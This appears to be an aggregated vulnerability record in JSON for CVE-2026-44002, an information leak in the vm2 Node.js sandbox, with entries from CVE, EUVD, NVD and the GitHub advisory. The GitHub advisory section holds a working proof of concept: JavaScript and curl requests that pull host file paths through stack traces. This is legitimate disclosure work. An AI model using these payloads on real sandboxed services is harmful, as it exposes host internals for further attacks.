{"id":"CVE-2026-44002","revision":null,"records":[{"revision":"bff4bdab9394435fbde19d54d4fca950","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-44002","aliases":[],"title":"vm2: Host File Path Disclosure via Stack Trace Information Leak","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, vm2's CallSite wrapper class (intended as a safe wrapper for V8's native CallSite) blocks getThis() and getFunction() to prevent host object leakage, but allows getFileName() to return unsanitized host absolute paths. Any sandboxed code can extract the full directory structure, library paths, and framework versions of the host server. This vulnerability is fixed in 3.11.0.","state":0,"publishedAt":"2026-05-13T17:29:42.416+00:00","modifiedAt":"2026-05-14T18:23:31.281+00:00","affected":[{"ecosystem":"Vendor product","name":"vm2","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"patriksimek\",\n                    \"product\": \"vm2\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 3.11.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N","score":5.8,"severity":"MEDIUM"}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-v27g-jcqj-v8rw"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-44002","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-44002","identifiers":["CVE-2026-44002"]},"retained":false,"historicalAffected":[]},{"revision":"f466d1cc26c54a149ecbfcadb11b0917","observedAt":"2026-11-07T09:37:48.007+00:00","statement":{"source":"euvd","id":"EUVD-2026-30072","aliases":["CVE-2026-44002","GHSA-v27g-jcqj-v8rw"],"title":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, vm2's CallSite wrapper class (intended as a safe wrapper for V8's native CallSite) blocks getThis() and getFunction() to prevent host object leakage, but allows getFileName() to…","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, vm2's CallSite wrapper class (intended as a safe wrapper for V8's native CallSite) blocks getThis() and getFunction() to prevent host object leakage, but allows getFileName() to return unsanitized host absolute paths. Any sandboxed code can extract the full directory structure, library paths, and framework versions of the host server. This vulnerability is fixed in 3.11.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N","score":5.8,"severity":null}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-v27g-jcqj-v8rw"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-30072","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"May 13, 2026, 5:29:42 PM","dateUpdated":"May 14, 2026, 6:23:31 PM"},"relatedAdvisories":[{"id":"RHSA-2026:50850","title":"Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.1 security update","vulnerabilityIds":["CVE-2026-9277","CVE-2026-43997","CVE-2026-43998","CVE-2026-43999","CVE-2026-44000","CVE-2026-44001","CVE-2026-44002","CVE-2026-44003","CVE-2026-44004","CVE-2026-44005","CVE-2026-44006","CVE-2026-44007","CVE-2026-44008","CVE-2026-44009","CVE-2026-45411","CVE-2026-47131","CVE-2026-47135","CVE-2026-47137","CVE-2026-47139","CVE-2026-47140","CVE-2026-47141","CVE-2026-47209","CVE-2026-48068","CVE-2026-48801","CVE-2026-59877"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-30072","identifiers":["EUVD-2026-30072","CVE-2026-44002","GHSA-v27g-jcqj-v8rw"]},"retained":false,"historicalAffected":[]},{"revision":"8ad60061b4d54e6da2bc2d6af77a6d1f","observedAt":"2026-10-27T11:12:09.678+00:00","statement":{"source":"nvd","id":"CVE-2026-44002","aliases":[],"title":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, vm2's CallSite wrapper class (intended as a safe wrapper for V8's native CallSite) blocks getThis() and getFunction() to prevent host object leakage, but allows getFileName() to…","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, vm2's CallSite wrapper class (intended as a safe wrapper for V8's native CallSite) blocks getThis() and getFunction() to prevent host object leakage, but allows getFileName() to return unsanitized host absolute paths. Any sandboxed code can extract the full directory structure, library paths, and framework versions of the host server. This vulnerability is fixed in 3.11.0.","state":0,"publishedAt":"2026-05-13T18:16:16.857+00:00","modifiedAt":"2026-10-26T17:10:03.27+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N","score":5.8,"severity":"MEDIUM"}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-v27g-jcqj-v8rw"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44002","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-209"],"productCriteria":["cpe:2.3:a:vm2_project:vm2:*:*:*:*:*:node.js:*:*"],"sourceDates":{"published":"2026-05-13T18:16:16.857","lastModified":"2026-10-26T17:10:03.270"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-44002","identifiers":["CVE-2026-44002"]},"retained":false,"historicalAffected":[]},{"revision":"c4de547423854b5987c4769abe4efddc","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-v27g-jcqj-v8rw","aliases":["CVE-2026-44002"],"title":"vm2 is Vulnerable to Host File Path Disclosure via Stack Trace Information Leak","description":"### Summary\nvm2's `CallSite` wrapper class (intended as a safe wrapper for V8's native CallSite) blocks `getThis()` and `getFunction()` to prevent host object leakage, but allows `getFileName()` to return unsanitized host absolute paths. Any sandboxed code can extract the full directory structure, library paths, and framework versions of the host server.\n\n### Details\nIn `lib/setup-sandbox.js:436-466`, the `CallSite` class overrides `getThis()` and `getFunction()` with `undefined` to prevent host object references from leaking into the sandbox. However, the following methods pass through unsanitized values from the original V8 CallSite object:\n\n- `getFileName()` — returns host absolute paths like `/app/node_modules/vm2/lib/vm.js`\n- `getLineNumber()`, `getColumnNumber()` — exact source locations\n- `getFunctionName()`, `getMethodName()`, `getTypeName()` — internal function names\n\nTwo exploitation paths exist:\n1. **Default `error.stack`**: `new Error().stack` includes host frame paths in the formatted string\n2. **Custom `prepareStackTrace`**: Attacker can set `Error.prepareStackTrace` to directly call `getFileName()` on each CallSite, extracting a clean list of all host paths\n\n### PoC\n\n**Library-level PoC (Node.js script — primary):**\n```javascript\nconst { VM } = require(\"vm2\");\nconst vm = new VM();\n\n// Path A — Default error.stack\nconst result1 = vm.run(`try { null.x; } catch(e) { e.stack }`);\nconsole.log(result1);\n// Output includes: /app/node_modules/vm2/lib/vm.js:289:18\n//                   /app/src/server.js:49:20\n\n// Path B — prepareStackTrace extraction\nconst result2 = vm.run(`\n  Error.prepareStackTrace = function(e, sst) {\n    return sst.map(function(s) { return s.getFileName(); }).join(\", \");\n  };\n  new Error().stack\n`);\nconsole.log(result2);\n// Output: vm.js, node:vm, /app/node_modules/vm2/lib/vm.js, /app/src/sandbox.js, ...\n```\n\n**HTTP demonstration:**\n```bash\n# Default error.stack\ncurl -s -X POST http://localhost:3000/api/execute \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"code\":\"try { null.x; } catch(e) { e.stack }\"}'\n# Result includes host paths: /app/src/server.js, /app/node_modules/express/...\n\n# prepareStackTrace extraction\ncurl -s -X POST http://localhost:3000/api/execute \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"code\":\"Error.prepareStackTrace = function(e, sst) { return sst.map(function(s) { return s.getFileName(); }).join(\\\", \\\"); }; new Error().stack\"}'\n# Result: /app/node_modules/vm2/lib/vm.js, /app/src/sandbox.js, /app/src/server.js, ...\n```\n\n### Impact\n- **Information Disclosure**: Host directory structure, library paths, framework versions, and internal architecture are exposed to sandboxed code.\n- **Attack Chain**: Leaked paths enable precise targeting for other vulnerabilities.\n- **Scope**: All applications using vm2. No special configuration required.","state":0,"publishedAt":"2026-05-07T04:30:10+00:00","modifiedAt":"2026-05-14T20:52:41.874182+00:00","affected":[{"ecosystem":"npm","name":"vm2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.11.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-v27g-jcqj-v8rw","https://nvd.nist.gov/vuln/detail/CVE-2026-44002","https://github.com/patriksimek/vm2","https://github.com/patriksimek/vm2/releases/tag/v3.11.0"],"sourceUrl":"https://github.com/advisories/GHSA-v27g-jcqj-v8rw","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-v27g-jcqj-v8rw","identifiers":["GHSA-v27g-jcqj-v8rw","CVE-2026-44002"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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Not a global EPSS backfill.","generation":"2026-11-07T17:07:37.1829709+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-07T17:07:37.1829709+00:00","lastSuccessAt":"2026-11-07T17:07:37.3564231+00:00","error":null,"lastVerifiedAt":"2026-11-07T17:07:37.3564236+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. 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